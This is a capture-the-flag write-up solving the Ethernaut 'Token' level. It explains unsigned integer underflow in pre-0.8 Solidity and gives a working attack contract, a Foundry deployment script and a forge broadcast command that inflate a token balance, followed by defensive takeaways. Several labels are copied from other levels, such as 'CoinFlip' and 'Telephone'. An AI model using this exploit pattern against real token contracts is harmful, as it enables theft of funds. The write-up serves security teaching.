# The Ethernaut CTF Solutions | 05 - Token

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/5-token-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/5-token-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint) balances;
    uint public totalSupply;

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}
```

## The hack

> An odometer or odograph is an instrument used for measuring the distance traveled by a vehicle, such as a bicycle or car.

The first thing that every security researcher should notice in this contract is the solidity version: `0.6.0`. Before the version `0.8.0`, one would have to be extremely careful when manipulating numbers inside a smart contract.

To succeed at this level, we have to understand the concept of underflow and overflow in solidity. All variables have a maximum value that they can hold, and if you try to add a value that exceeds this maximum, the variable will overflow and start from 0!

And since we are using mostly unsigned integers (uint) in solidity, variables also have a minimum value (0), and if you try to subtract a value that is greater than the current value, the variable will underflow and start from the maximum value.

### Examples

Solidity's unsigned integers have a fixed range of values they can represent. An overflow occurs when a calculation exceeds an unsigned integer's maximum value, and underflow happens when a calculation drops below an unsigned integer's minimum value (which is 0 for unsigned integers).

```solidity
pragma solidity ^0.6.0;

contract Example {
    uint8 public minValue = 0;
    uint8 public maxValue = 255;

    function underflow() public {
        // 0 - 1 = 255 (Underflow)
        minValue--;
    }

    function overflow() public {
        // 255 + 1 = 0 (Overflow)
        maxValue++;
    }
}
```

Fortunately for us, since solidity `0.8.0`, the compiler throws an error when an overflow or underflow occurs. But here, we can take advantage of this since we are using an older version of solidity.

## Solution

Since the contract is using solidity ^0.6.0, and since no `SafeMath` library is used, it is easy to create an underflow.

```solidity
require(balances[msg.sender] - _value >= 0);
```

The following contract will try to transfer 1 token (which he doesn't have) to our address, and the balance will underflow to the maximum value of uint256 (2^256 is a pretty big number).

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IToken {
    function transfer(address _to, uint _value) external returns (bool);
}

contract UnsafeMath {
    address immutable token;

    constructor(address _token) {
        token = _token;
    }

    function attack() public {
        IToken(token).transfer(msg.sender, 1);
    }
}
```

Here is what will happen:

```solidity
require(balances[msg.sender] - _value >= 0); // Passed
// 0 - 1 = 2^256 - 1
balances[msg.sender] -= _value; // balances[msg.sender] = 2^256 - 1;
```

The deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {UnsafeMath} from "../src/05_Token.sol";

interface IToken {
    function balanceOf(address) external view returns (uint256);
}

contract PoC is Script {
    // Replace with your CoinFlip instance
    IToken token = IToken(0x813D92e2FCc7E453E161DDDFDE259369b6bF4294);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        UnsafeMath unsafeMath = new UnsafeMath(address(token));
        console2.log("Balance before: ", token.balanceOf(address(unsafeMath))); // 0
        unsafeMath.attack();
        console2.log("Balance after: ", token.balanceOf(address(unsafeMath))); // max uint256

        vm.stopBroadcast();
    }
}
```

Now, let's run the script to beat the Telephone level:

```solidity
forge script script/05_Token.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713349556210/df526c2b-596e-4bdd-be23-ee378281ebad.png align="left")

**🎉 Level completed 🎉**

## Takeaway

* Always use a recent version of Solidity (^0.8.0) to benefit from native overflow and underflow checks.
    
* If you need to interact with a contract using a solidity version older than 0.8.0, always check that the contract is using a `SafeMath` library or equivalent.
    
    ---
    

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
